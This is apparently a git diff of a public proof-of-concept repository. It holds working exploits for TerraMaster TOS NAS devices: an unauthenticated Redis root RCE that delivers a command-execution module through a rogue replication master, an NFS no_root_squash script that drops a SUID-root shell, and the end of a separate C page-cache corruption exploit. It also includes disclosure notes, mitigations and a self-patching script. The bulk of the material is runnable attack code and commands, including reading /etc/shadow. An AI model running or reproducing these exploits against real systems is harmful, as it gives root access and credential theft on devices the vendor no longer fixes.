||||||
|
while ((n = read(src, buf, sizeof(buf))) > 0)
|
||||||
|
write(dst, buf, n);
|
||||||
|
}
|
||||||
|
if (src >= 0) close(src);
|
||||||
|
if (dst >= 0) close(dst);
|
||||||
|
}
|
||||||
|
|
||||||
|
int rfd = open(target_path, O_RDONLY);
|
||||||
|
if (rfd < 0) { perror(target_path); return 1; }
|
||||||
|
|
||||||
|
void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0);
|
||||||
|
if (map == MAP_FAILED) { perror("mmap"); return 1; }
|
||||||
|
|
||||||
|
pid_t pid = fork();
|
||||||
|
if (pid < 0) { perror("fork"); return 1; }
|
||||||
|
if (pid == 0) {
|
||||||
|
setup_ns();
|
||||||
|
usleep(10000);
|
||||||
|
|
||||||
|
int sock = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
|
||||||
|
if (sock < 0) { ERR("AF_RXRPC unavailable"); _exit(1); }
|
||||||
|
close(sock);
|
||||||
|
|
||||||
|
struct stat sb;
|
||||||
|
fstat(rfd, &sb);
|
||||||
|
_exit(pagecache_write(rfd, map, 0, tiny_elf, sizeof(tiny_elf), sb.st_size, target_path) < 0 ? 2 : 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
int st;
|
||||||
|
waitpid(pid, &st, 0);
|
||||||
|
if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) {
|
||||||
|
ERR("corruption failed (status 0x%x)", st);
|
||||||
|
unlink(backup);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
munmap(map, 4096);
|
||||||
|
close(rfd);
|
||||||
|
|
||||||
|
LOG("exec %s", target_path);
|
||||||
|
LOG("restore: cp %s %s", backup, target_path);
|
||||||
|
fflush(stderr);
|
||||||
|
|
||||||
|
execlp(target_path, target_path, (char *)NULL);
|
||||||
|
perror(target_path);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
241
terramaster/README.md
Normal file
241
terramaster/README.md
Normal file
|
|
@ -0,0 +1,241 @@
|
||||||
|
# TossUp: TerraMaster TOS Redis RCE
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img width="50%" alt="tossup logo" src="https://github.com/user-attachments/assets/8ed17d2c-f42f-4d9f-a5fc-c9f294a8ab5d" />
|
||||||
|
</p>
|
||||||
|
|
||||||
|
## Abstract
|
||||||
|
|
||||||
|
https://github.com/user-attachments/assets/12573e6d-b29a-4189-b71c-a44a21ca8e62
|
||||||
|
|
||||||
|
TossUp is a pair of bugs against TerraMaster TOS3_A1.0 4.2.41 on RTD1296
|
||||||
|
devices: an unauthenticated Redis root RCE and a separate NFS
|
||||||
|
`no_root_squash` local privilege escalation.
|
||||||
|
|
||||||
|
TossUp was discovered with [V12](https://v12.sh) by Aaron Esau of the
|
||||||
|
[V12 security team](https://x.com/v12sec).
|
||||||
|
|
||||||
|
> Want to find issues like this in your own code? Try V12 at [v12.sh](https://v12.sh).
|
||||||
|
|
||||||
|
The LPE is not part of the Redis RCE chain because the RCE already executes as
|
||||||
|
root.
|
||||||
|
|
||||||
|
We also have a separate authentication bypass, likely upgradable to RCE, which
|
||||||
|
we will release in the near future.
|
||||||
|
|
||||||
|
The bug is simple: the NAS ships Redis 4.0.10 running as root, listening on
|
||||||
|
`0.0.0.0:6379`, with no authentication. The on-disk `/etc/redis.conf` contains
|
||||||
|
`bind 127.0.0.1`, but the init path starts Redis as `redis-server *:6379`
|
||||||
|
without using that config file.
|
||||||
|
|
||||||
|
The PoC uses standard Redis features to turn that exposure into root RCE:
|
||||||
|
|
||||||
|
1. `CONFIG SET` changes Redis' working directory and database filename.
|
||||||
|
2. `SLAVEOF` points the NAS at a rogue Redis master controlled by the attacker.
|
||||||
|
3. The rogue master sends an AArch64 Redis module as the replication payload.
|
||||||
|
4. Redis writes the payload to disk as `/tmp/.<random>.so`.
|
||||||
|
5. `MODULE LOAD` loads the module and registers `system.exec`.
|
||||||
|
6. `system.exec` runs shell commands through `popen()` as the Redis process,
|
||||||
|
which is root on the tested device.
|
||||||
|
|
||||||
|
We reported this to TerraMaster who stated TOS4 is EOL. They have not indicated intent to fix the bug, so we are releasing our POC.
|
||||||
|
|
||||||
|
## "TossUp"?
|
||||||
|
|
||||||
|
Because it's TOS and you upload a malicious module.
|
||||||
|
|
||||||
|
## Exploitation
|
||||||
|
|
||||||
|
Build the Redis module:
|
||||||
|
|
||||||
|
```
|
||||||
|
cd terramaster/rce
|
||||||
|
make
|
||||||
|
```
|
||||||
|
|
||||||
|
Run one command as root:
|
||||||
|
|
||||||
|
```
|
||||||
|
python3 poc.py <NAS_IP> --cmd "id"
|
||||||
|
```
|
||||||
|
|
||||||
|
Or start the interactive command loop:
|
||||||
|
|
||||||
|
```
|
||||||
|
python3 poc.py <NAS_IP>
|
||||||
|
```
|
||||||
|
|
||||||
|
One-line version:
|
||||||
|
|
||||||
|
```
|
||||||
|
git clone https://github.com/v12-security/pocs.git && cd pocs/terramaster/rce && make && python3 poc.py <NAS_IP> --cmd "id"
|
||||||
|
```
|
||||||
|
|
||||||
|
If the NAS cannot route back to the automatically selected attacker IP, provide
|
||||||
|
one explicitly:
|
||||||
|
|
||||||
|
```
|
||||||
|
python3 poc.py <NAS_IP> --lhost <ATTACKER_IP> --cmd "id"
|
||||||
|
```
|
||||||
|
|
||||||
|
The target must expose TCP/6379 to you, and it must be able to connect back to
|
||||||
|
the temporary rogue-master listener opened by `poc.py`.
|
||||||
|
|
||||||
|
## Building
|
||||||
|
|
||||||
|
The `rce/Makefile` builds an AArch64 Redis module:
|
||||||
|
|
||||||
|
```
|
||||||
|
aarch64-linux-gnu-gcc -shared -fPIC -nostartfiles -o module.so module.c
|
||||||
|
```
|
||||||
|
|
||||||
|
Install an AArch64 cross-compiler if `make` fails with a missing compiler
|
||||||
|
error. A prebuilt `module.so` is included for the tested RTD1296 target, but
|
||||||
|
rebuilding is recommended if you change the module or do not want to run the
|
||||||
|
checked-in binary.
|
||||||
|
|
||||||
|
## Cleanup
|
||||||
|
|
||||||
|
The PoC attempts to clean up after itself:
|
||||||
|
|
||||||
|
- `SLAVEOF NO ONE`
|
||||||
|
- restore the original Redis `dir`
|
||||||
|
- restore the original Redis `dbfilename`
|
||||||
|
- remove the dropped `/tmp/.<random>.so`
|
||||||
|
- `MODULE UNLOAD system`
|
||||||
|
|
||||||
|
If the script is interrupted after module loading, unload it manually:
|
||||||
|
|
||||||
|
```
|
||||||
|
redis-cli -h <NAS_IP> MODULE UNLOAD system
|
||||||
|
```
|
||||||
|
|
||||||
|
The dropped module path is printed during exploitation. Remove that file from
|
||||||
|
the NAS if cleanup did not run.
|
||||||
|
|
||||||
|
## How It Works
|
||||||
|
|
||||||
|
1. **Unauthenticated Redis check.** `poc.py` connects to `<NAS_IP>:6379`, sends
|
||||||
|
`PING`, and expects `+PONG`. It also queries `INFO server` to print useful
|
||||||
|
Redis details such as `redis_version`, `os`, `process_id`, and `tcp_port`.
|
||||||
|
|
||||||
|
2. **Drop-path setup.** The current Redis `dir` and `dbfilename` are saved.
|
||||||
|
The PoC then sets `dir` to `/tmp` and `dbfilename` to a random hidden
|
||||||
|
`.so` name.
|
||||||
|
|
||||||
|
3. **Rogue master startup.** The PoC opens a local TCP listener on an ephemeral
|
||||||
|
port. If `--lhost` is not provided, it chooses the local source address that
|
||||||
|
can reach the NAS.
|
||||||
|
|
||||||
|
4. **Replication trigger.** The PoC sends `SLAVEOF <lhost> <lport>` to the NAS.
|
||||||
|
Redis connects back to the rogue master and starts the normal replication
|
||||||
|
handshake.
|
||||||
|
|
||||||
|
5. **Module delivery.** The rogue master implements just enough Redis
|
||||||
|
replication protocol to answer `PING`/setup commands and then return
|
||||||
|
`FULLRESYNC` with `module.so` as the bulk payload. Redis writes that payload
|
||||||
|
to `/tmp/.<random>.so`.
|
||||||
|
|
||||||
|
6. **State restoration.** The PoC sends `SLAVEOF NO ONE` and restores the saved
|
||||||
|
`dir` and `dbfilename` values so Redis is no longer pointed at the rogue
|
||||||
|
master or `/tmp`.
|
||||||
|
|
||||||
|
7. **Module load.** The PoC reconnects, verifies Redis still does not require
|
||||||
|
auth, and sends `MODULE LOAD /tmp/.<random>.so`.
|
||||||
|
|
||||||
|
8. **Root command execution.** `module.c` registers a Redis command named
|
||||||
|
`system.exec`. Each call runs the supplied command with `popen()`, captures
|
||||||
|
up to 8191 bytes of stdout, and returns it as a Redis simple string.
|
||||||
|
|
||||||
|
9. **Interactive loop.** Without `--cmd`, `poc.py` provides a simple
|
||||||
|
`root@<host>#` command prompt over repeated `system.exec` calls. This is not
|
||||||
|
a real TTY; it is a command loop.
|
||||||
|
|
||||||
|
## Separate LPE: NFS no_root_squash
|
||||||
|
|
||||||
|
The `lpe/` directory contains a separate TerraMaster TOS local privilege
|
||||||
|
escalation. It is not needed for TossUp because the Redis RCE already executes
|
||||||
|
as root, but it is useful as a standalone issue for systems where an attacker
|
||||||
|
has code execution as an unprivileged NAS user.
|
||||||
|
|
||||||
|
The LPE abuses an NFS export that allows remote root to create root-owned files
|
||||||
|
on the NAS. `drop.sh` mounts the export from the client, copies a static
|
||||||
|
AArch64 helper binary, sets owner `0:0`, and sets mode `4755`. If the export is
|
||||||
|
not root-squashed, the NAS keeps those attributes. Any local NAS user can then
|
||||||
|
execute the dropped helper to get a root shell or run one command as root.
|
||||||
|
|
||||||
|
Build and drop the helper:
|
||||||
|
|
||||||
|
```
|
||||||
|
cd terramaster/lpe
|
||||||
|
make
|
||||||
|
sudo ./drop.sh <NAS_IP>
|
||||||
|
```
|
||||||
|
|
||||||
|
If auto-detection chooses the wrong export, provide one explicitly:
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo ./drop.sh <NAS_IP> <export_path>
|
||||||
|
```
|
||||||
|
|
||||||
|
On success the script prints the dropped path:
|
||||||
|
|
||||||
|
```
|
||||||
|
[+] SUID-root binary dropped at <export_path>/.suid
|
||||||
|
```
|
||||||
|
|
||||||
|
Then, on the NAS as any user:
|
||||||
|
|
||||||
|
```
|
||||||
|
<export_path>/.suid
|
||||||
|
<export_path>/.suid id
|
||||||
|
```
|
||||||
|
|
||||||
|
The helper in `suid.c` is intentionally minimal: it calls `setuid(0)` and
|
||||||
|
`setgid(0)`, then either execs the supplied command or falls back to `/bin/sh`.
|
||||||
|
|
||||||
|
## Affected Versions
|
||||||
|
|
||||||
|
Confirmed on:
|
||||||
|
|
||||||
|
```
|
||||||
|
TOS3_A1.0 4.2.41
|
||||||
|
Redis 4.0.10
|
||||||
|
RTD1296 / AArch64
|
||||||
|
```
|
||||||
|
|
||||||
|
Other TerraMaster builds may be affected if all of these conditions hold:
|
||||||
|
|
||||||
|
- Redis listens on `0.0.0.0:6379`
|
||||||
|
- Redis has no authentication
|
||||||
|
- Redis accepts `CONFIG SET`, `SLAVEOF`, and `MODULE LOAD`
|
||||||
|
- Redis runs as root
|
||||||
|
- the loaded module matches the NAS CPU architecture
|
||||||
|
|
||||||
|
The NFS LPE is separate and depends on different conditions:
|
||||||
|
|
||||||
|
- the NAS exposes an NFS export reachable by the client
|
||||||
|
- the export allows writes from the client
|
||||||
|
- the export does not squash remote root
|
||||||
|
- the dropped helper matches the NAS CPU architecture
|
||||||
|
|
||||||
|
## Mitigation
|
||||||
|
|
||||||
|
For owners who do not want this behavior:
|
||||||
|
|
||||||
|
- block TCP/6379 from untrusted networks
|
||||||
|
- make Redis bind only to localhost
|
||||||
|
- require Redis authentication
|
||||||
|
- disable or rename dangerous Redis commands such as `CONFIG`, `SLAVEOF`, and
|
||||||
|
`MODULE`
|
||||||
|
- fix the init path so Redis actually uses the intended config file
|
||||||
|
- run Redis as an unprivileged service user
|
||||||
|
- root-squash NFS exports and avoid writable exports to untrusted clients
|
||||||
|
|
||||||
|
Because the tested product is EOL, network isolation is the practical first
|
||||||
|
line of defense.
|
||||||
|
|
||||||
|
## Credit
|
||||||
|
|
||||||
|
Found with V12 by Aaron Esau of the V12 security team: [v12.sh](https://v12.sh)
|
||||||
|
-- dangerously powerful agentic security.
|
||||||
10
terramaster/lpe/Makefile
Normal file
10
terramaster/lpe/Makefile
Normal file
|
|
@ -0,0 +1,10 @@
|
||||||
|
CC := aarch64-linux-gnu-gcc
|
||||||
|
CFLAGS := -static
|
||||||
|
|
||||||
|
all: suid
|
||||||
|
|
||||||
|
suid: suid.c
|
||||||
|
$(CC) $(CFLAGS) -o $@ $<
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -f suid
|
||||||
41
terramaster/lpe/drop.sh
Executable file
41
terramaster/lpe/drop.sh
Executable file
|
|
@ -0,0 +1,41 @@
|
||||||
|
#!/bin/bash
|
||||||
|
# TerraMaster TOS NFS no_root_squash LPE
|
||||||
|
# Drops a SUID-root shell on the NAS via NFS.
|
||||||
|
# Requires: sudo, aarch64-linux-gnu-gcc, nfs-common/nfs-utils
|
||||||
|
set -e
|
||||||
|
|
||||||
|
NAS="${1:?usage: sudo ./drop.sh <NAS_IP> [export_path]}"
|
||||||
|
EXPORT="${2:-}"
|
||||||
|
MNTDIR=$(mktemp -d)
|
||||||
|
|
||||||
|
cleanup() { sudo umount "$MNTDIR" 2>/dev/null; rmdir "$MNTDIR" 2>/dev/null; }
|
||||||
|
trap cleanup EXIT
|
||||||
|
|
||||||
|
# Build if needed
|
||||||
|
[ -f suid ] || make -C "$(dirname "$0")"
|
||||||
|
|
||||||
|
# Auto-detect export
|
||||||
|
if [ -z "$EXPORT" ]; then
|
||||||
|
EXPORT=$(showmount -e "$NAS" --no-headers 2>/dev/null | head -1 | awk '{print $1}')
|
||||||
|
[ -z "$EXPORT" ] && { echo "[!] No exports found, specify manually"; exit 1; }
|
||||||
|
echo "[*] Export: $EXPORT"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Mount and drop
|
||||||
|
sudo mount -t nfs -o vers=3 "$NAS:$EXPORT" "$MNTDIR"
|
||||||
|
sudo cp "$(dirname "$0")/suid" "$MNTDIR/.suid"
|
||||||
|
sudo chown 0:0 "$MNTDIR/.suid"
|
||||||
|
sudo chmod 4755 "$MNTDIR/.suid"
|
||||||
|
|
||||||
|
# Verify
|
||||||
|
OWNER=$(stat -c '%u' "$MNTDIR/.suid")
|
||||||
|
MODE=$(stat -c '%a' "$MNTDIR/.suid")
|
||||||
|
if [ "$OWNER" = "0" ] && [ "$MODE" = "4755" ]; then
|
||||||
|
echo "[+] SUID-root binary dropped at $EXPORT/.suid"
|
||||||
|
echo ""
|
||||||
|
echo " On the NAS as any user:"
|
||||||
|
echo " $EXPORT/.suid # root shell"
|
||||||
|
echo " $EXPORT/.suid id # run a command as root"
|
||||||
|
else
|
||||||
|
echo "[!] no_root_squash not active (owner=$OWNER mode=$MODE)"
|
||||||
|
fi
|
||||||
BIN
terramaster/lpe/suid
Executable file
BIN
terramaster/lpe/suid
Executable file
Binary file not shown.
9
terramaster/lpe/suid.c
Normal file
9
terramaster/lpe/suid.c
Normal file
|
|
@ -0,0 +1,9 @@
|
||||||
|
#include <unistd.h>
|
||||||
|
int main(int argc, char **argv) {
|
||||||
|
setuid(0);
|
||||||
|
setgid(0);
|
||||||
|
if (argc > 1)
|
||||||
|
execvp(argv[1], argv + 1);
|
||||||
|
else
|
||||||
|
execl("/bin/sh", "sh", NULL);
|
||||||
|
}
|
||||||
208
terramaster/patch.py
Normal file
208
terramaster/patch.py
Normal file
|
|
@ -0,0 +1,208 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
patch.py — Exploit TerraMaster TOS Redis RCE to patch both vulnerabilities.
|
||||||
|
|
||||||
|
Bug 1 (RCE): /etc/init.d/redis is a symlink to /usr/sbin/desh, which runs
|
||||||
|
/etc/init.d/redis.en — an encrypted script that starts
|
||||||
|
"redis-server 0.0.0.0:6379", ignoring /etc/redis.conf (which
|
||||||
|
already has "bind 127.0.0.1").
|
||||||
|
Fix: Replace the desh symlink with a proper init script that starts
|
||||||
|
redis-server with /etc/redis.conf. Ensure daemonize yes is set.
|
||||||
|
|
||||||
|
Bug 2 (LPE): /etc/exports has no_root_squash on NFS exports.
|
||||||
|
Fix: Replace no_root_squash with root_squash and re-export.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python3 patch.py <NAS_IP>
|
||||||
|
python3 patch.py <NAS_IP> --lhost <ATTACKER_IP>
|
||||||
|
python3 patch.py <NAS_IP> --no-restart
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import base64
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
|
||||||
|
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
|
||||||
|
sys.path.insert(0, os.path.join(SCRIPT_DIR, "rce"))
|
||||||
|
|
||||||
|
import poc
|
||||||
|
from poc import (
|
||||||
|
Progress, deliver_module, redis_load_module, redis_exec,
|
||||||
|
redis_cmd, info, good, warn, bail,
|
||||||
|
)
|
||||||
|
|
||||||
|
REDIS_INIT = """\
|
||||||
|
#!/bin/sh
|
||||||
|
# Patched by patch.py — uses /etc/redis.conf instead of hardcoded 0.0.0.0:6379
|
||||||
|
DAEMON=/usr/bin/redis-server
|
||||||
|
CONF=/etc/redis.conf
|
||||||
|
|
||||||
|
case "$1" in
|
||||||
|
start)
|
||||||
|
"$DAEMON" "$CONF"
|
||||||
|
;;
|
||||||
|
stop)
|
||||||
|
redis-cli shutdown nosave 2>/dev/null || killall redis-server 2>/dev/null
|
||||||
|
;;
|
||||||
|
restart|reload)
|
||||||
|
"$0" stop
|
||||||
|
sleep 1
|
||||||
|
"$0" start
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
echo "Usage: $0 {start|stop|restart}" >&2
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
def rexec(sock, cmd):
|
||||||
|
"""Execute a shell command on the target via system.exec."""
|
||||||
|
return redis_exec(sock, cmd)
|
||||||
|
|
||||||
|
|
||||||
|
def write_remote(sock, path, content, mode=None):
|
||||||
|
"""Write a text file on the target via base64-encoded echo."""
|
||||||
|
b64 = base64.b64encode(content.encode()).decode()
|
||||||
|
rexec(sock, f"echo '{b64}' | base64 -d > {path}")
|
||||||
|
if mode:
|
||||||
|
rexec(sock, f"chmod {mode} {path}")
|
||||||
|
|
||||||
|
|
||||||
|
def patch_redis(sock):
|
||||||
|
"""Replace the desh-encrypted Redis init script with one that honours
|
||||||
|
/etc/redis.conf, and ensure the config has daemonize yes."""
|
||||||
|
|
||||||
|
# --- verify the config already binds to localhost ---
|
||||||
|
bind_line = rexec(sock, "grep '^bind ' /etc/redis.conf")
|
||||||
|
if "127.0.0.1" not in bind_line:
|
||||||
|
bail(f"/etc/redis.conf bind is not 127.0.0.1: {bind_line.strip()}")
|
||||||
|
good(f"redis.conf bind verified: {bind_line.strip()}")
|
||||||
|
|
||||||
|
# --- ensure daemonize yes (stock config ships 'daemonize no') ---
|
||||||
|
daemonize = rexec(sock, "grep '^daemonize ' /etc/redis.conf")
|
||||||
|
if "yes" not in daemonize:
|
||||||
|
info("Setting daemonize yes in /etc/redis.conf")
|
||||||
|
rexec(sock, "sed -i 's/^daemonize .*/daemonize yes/' /etc/redis.conf")
|
||||||
|
verify = rexec(sock, "grep '^daemonize ' /etc/redis.conf")
|
||||||
|
if "yes" not in verify:
|
||||||
|
rexec(sock, "echo 'daemonize yes' >> /etc/redis.conf")
|
||||||
|
good("daemonize yes set")
|
||||||
|
else:
|
||||||
|
good(f"redis.conf daemonize verified: {daemonize.strip()}")
|
||||||
|
|
||||||
|
# --- safety: confirm init script is the vulnerable desh symlink ---
|
||||||
|
target = rexec(sock, "readlink /etc/init.d/redis 2>/dev/null || echo NOT_A_SYMLINK")
|
||||||
|
if "/usr/sbin/desh" not in target:
|
||||||
|
warn(f"/etc/init.d/redis is not the expected desh symlink ({target.strip()})")
|
||||||
|
warn("Skipping init script replacement — may already be patched")
|
||||||
|
return
|
||||||
|
|
||||||
|
# --- replace the symlink with a real init script ---
|
||||||
|
rexec(sock, "cp -a /etc/init.d/redis /etc/init.d/redis.bak.pre-patch 2>/dev/null; true")
|
||||||
|
rexec(sock, "rm -f /etc/init.d/redis")
|
||||||
|
write_remote(sock, "/etc/init.d/redis", REDIS_INIT, mode="755")
|
||||||
|
|
||||||
|
head = rexec(sock, "head -2 /etc/init.d/redis")
|
||||||
|
if "#!/bin/sh" not in head:
|
||||||
|
bail("Failed to write /etc/init.d/redis")
|
||||||
|
good("Patched /etc/init.d/redis — will use /etc/redis.conf on restart")
|
||||||
|
|
||||||
|
|
||||||
|
def patch_nfs(sock):
|
||||||
|
"""Replace no_root_squash with root_squash in /etc/exports and re-export."""
|
||||||
|
exports = rexec(sock, "cat /etc/exports 2>/dev/null")
|
||||||
|
if not exports.strip():
|
||||||
|
warn("/etc/exports is empty or missing — skipping NFS patch")
|
||||||
|
return
|
||||||
|
|
||||||
|
if "no_root_squash" not in exports:
|
||||||
|
warn("no_root_squash not found in /etc/exports — already fixed or not present")
|
||||||
|
return
|
||||||
|
|
||||||
|
info(f"Current /etc/exports:\n{exports.strip()}")
|
||||||
|
rexec(sock, "cp /etc/exports /etc/exports.bak.pre-patch")
|
||||||
|
rexec(sock, "sed -i 's/no_root_squash/root_squash/g' /etc/exports")
|
||||||
|
|
||||||
|
patched = rexec(sock, "cat /etc/exports")
|
||||||
|
if "no_root_squash" in patched:
|
||||||
|
bail("sed replacement failed on /etc/exports")
|
||||||
|
good(f"Patched /etc/exports:\n{patched.strip()}")
|
||||||
|
|
||||||
|
rexec(sock, "exportfs -ra 2>/dev/null; true")
|
||||||
|
good("NFS re-exported with root_squash")
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description="Exploit TerraMaster TOS Redis RCE to patch both bugs",
|
||||||
|
)
|
||||||
|
parser.add_argument("host", help="NAS IP address")
|
||||||
|
parser.add_argument("--lhost", default=None,
|
||||||
|
help="Attacker IP reachable from target (default: auto)")
|
||||||
|
parser.add_argument("--no-restart", action="store_true",
|
||||||
|
help="Skip Redis restart after patching")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
poc._progress = Progress(total=8)
|
||||||
|
|
||||||
|
# --- load the .so payload ---
|
||||||
|
module_so = os.path.join(SCRIPT_DIR, "rce", "module.so")
|
||||||
|
if not os.path.isfile(module_so):
|
||||||
|
bail(f"{module_so} not found — run 'make' in rce/")
|
||||||
|
payload = open(module_so, "rb").read()
|
||||||
|
info(f"Loaded {module_so} ({len(payload)} bytes)")
|
||||||
|
|
||||||
|
# --- phase 1: exploit the RCE ---
|
||||||
|
module_path = deliver_module(args.host, payload, lhost=args.lhost)
|
||||||
|
sock = redis_load_module(args.host, module_path)
|
||||||
|
|
||||||
|
whoami = rexec(sock, "id")
|
||||||
|
if "uid=0" not in whoami:
|
||||||
|
bail(f"Not root: {whoami.strip()}")
|
||||||
|
good(f"Root: {whoami.strip()}")
|
||||||
|
|
||||||
|
# --- phase 2: patch both bugs ---
|
||||||
|
try:
|
||||||
|
patch_redis(sock)
|
||||||
|
patch_nfs(sock)
|
||||||
|
except SystemExit:
|
||||||
|
raise
|
||||||
|
except Exception as e:
|
||||||
|
warn(f"Patch failed: {e}")
|
||||||
|
rexec(sock, f"rm -f {module_path}")
|
||||||
|
try:
|
||||||
|
redis_cmd(sock, "MODULE", "UNLOAD", "system")
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
sock.close()
|
||||||
|
return 1
|
||||||
|
|
||||||
|
# --- phase 3: cleanup exploit artifacts ---
|
||||||
|
info("Removing exploit module from disk")
|
||||||
|
rexec(sock, f"rm -f {module_path}")
|
||||||
|
|
||||||
|
if not args.no_restart:
|
||||||
|
info("Scheduling Redis restart in 2s")
|
||||||
|
rexec(sock, "nohup sh -c 'sleep 2; /etc/init.d/redis restart' >/dev/null 2>&1 &")
|
||||||
|
good("Redis will restart bound to 127.0.0.1 in ~2 seconds")
|
||||||
|
else:
|
||||||
|
warn("Skipped restart — run '/etc/init.d/redis restart' to apply Redis bind fix")
|
||||||
|
|
||||||
|
try:
|
||||||
|
redis_cmd(sock, "MODULE", "UNLOAD", "system")
|
||||||
|
except (BrokenPipeError, OSError):
|
||||||
|
pass
|
||||||
|
try:
|
||||||
|
sock.close()
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
good("Both vulnerabilities patched")
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
sys.exit(main())
|
||||||
12
terramaster/rce/Makefile
Normal file
12
terramaster/rce/Makefile
Normal file
|
|
@ -0,0 +1,12 @@
|
||||||
|
CC := aarch64-linux-gnu-gcc
|
||||||
|
CFLAGS := -shared -fPIC -nostartfiles
|
||||||
|
|
||||||
|
.PHONY: all clean
|
||||||
|
|
||||||
|
all: module.so
|
||||||
|
|
||||||
|
module.so: module.c redismodule.h
|
||||||
|
$(CC) $(CFLAGS) -o $@ $<
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -f module.so
|
||||||
46
terramaster/rce/module.c
Normal file
46
terramaster/rce/module.c
Normal file
|
|
@ -0,0 +1,46 @@
|
||||||
|
/*
|
||||||
|
* Minimal Redis module: executes a shell command and returns stdout.
|
||||||
|
* Loaded via MODULE LOAD over an NFS share to achieve root RCE.
|
||||||
|
*
|
||||||
|
* Usage after loading:
|
||||||
|
* system.exec "id"
|
||||||
|
* system.exec "cat /etc/shadow"
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include "redismodule.h"
|
||||||
|
|
||||||
|
static int cmd_exec(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
|
||||||
|
if (argc != 2) return RedisModule_WrongArity(ctx);
|
||||||
|
|
||||||
|
size_t len;
|
||||||
|
const char *cmd = RedisModule_StringPtrLen(argv[1], &len);
|
||||||
|
|
||||||
|
char buf[8192] = {0};
|
||||||
|
FILE *fp = popen(cmd, "r");
|
||||||
|
if (!fp)
|
||||||
|
return RedisModule_ReplyWithError(ctx, "ERR popen failed");
|
||||||
|
|
||||||
|
size_t total = 0;
|
||||||
|
while (total < sizeof(buf) - 1) {
|
||||||
|
size_t n = fread(buf + total, 1, sizeof(buf) - 1 - total, fp);
|
||||||
|
if (n == 0) break;
|
||||||
|
total += n;
|
||||||
|
}
|
||||||
|
pclose(fp);
|
||||||
|
|
||||||
|
return RedisModule_ReplyWithSimpleString(ctx, buf);
|
||||||
|
}
|
||||||
|
|
||||||
|
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
|
||||||
|
if (RedisModule_Init(ctx, "system", 1, REDISMODULE_APIVER_1) == REDISMODULE_ERR)
|
||||||
|
return REDISMODULE_ERR;
|
||||||
|
|
||||||
|
if (RedisModule_CreateCommand(ctx, "system.exec", cmd_exec,
|
||||||
|
"write deny-oom", 0, 0, 0) == REDISMODULE_ERR)
|
||||||
|
return REDISMODULE_ERR;
|
||||||
|
|
||||||
|
return REDISMODULE_OK;
|
||||||
|
}
|
||||||
BIN
terramaster/rce/module.so
Executable file
BIN
terramaster/rce/module.so
Executable file
Binary file not shown.
379
terramaster/rce/poc.py
Executable file
379
terramaster/rce/poc.py
Executable file
|
|
@ -0,0 +1,379 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
TerraMaster TOS Redis unauthenticated root RCE POC
|
||||||
|
|
||||||
|
Exploits Redis 4.0.10 running as root, bound to 0.0.0.0:6379 with no
|
||||||
|
authentication on TOS3_A1.0 4.2.41 (RTD1296).
|
||||||
|
|
||||||
|
The config file (/etc/redis.conf with "bind 127.0.0.1") is ignored because
|
||||||
|
the init script starts redis as "redis-server *:6379" without referencing it.
|
||||||
|
|
||||||
|
Attack chain (requires only network access to port 6379):
|
||||||
|
a) Use CONFIG SET to point dir/dbfilename at a writable location.
|
||||||
|
b) Use SLAVEOF to make target replicate from a rogue master we emulate.
|
||||||
|
c) Rogue master sends the compiled Redis module (.so) as the RDB payload.
|
||||||
|
d) Redis writes the payload to disk verbatim.
|
||||||
|
e) MODULE LOAD the .so, execute arbitrary commands as root.
|
||||||
|
|
||||||
|
No NFS, SSH, or credentials required — only port 6379.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python3 poc.py <NAS_IP> # interactive root shell
|
||||||
|
python3 poc.py <NAS_IP> --cmd "id" # single command
|
||||||
|
python3 poc.py <NAS_IP> --cmd "cat /etc/shadow"
|
||||||
|
Requires module.so (run `make` to build it).
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import os
|
||||||
|
import random
|
||||||
|
import socket
|
||||||
|
import string
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
|
||||||
|
REDIS_PORT = 6379
|
||||||
|
MODULE_DROP_DIR = "/tmp"
|
||||||
|
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Progress bar — logs scroll above, bar sticks to the bottom
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
class Progress:
|
||||||
|
"""Single-line progress bar on stderr. Logs print above it."""
|
||||||
|
|
||||||
|
def __init__(self, total, width=36):
|
||||||
|
self.total = total
|
||||||
|
self.width = width
|
||||||
|
self.step = 0
|
||||||
|
self.msg = ""
|
||||||
|
self.tty = sys.stderr.isatty()
|
||||||
|
|
||||||
|
def update(self, step, msg=""):
|
||||||
|
self.step = step
|
||||||
|
self.msg = msg
|
||||||
|
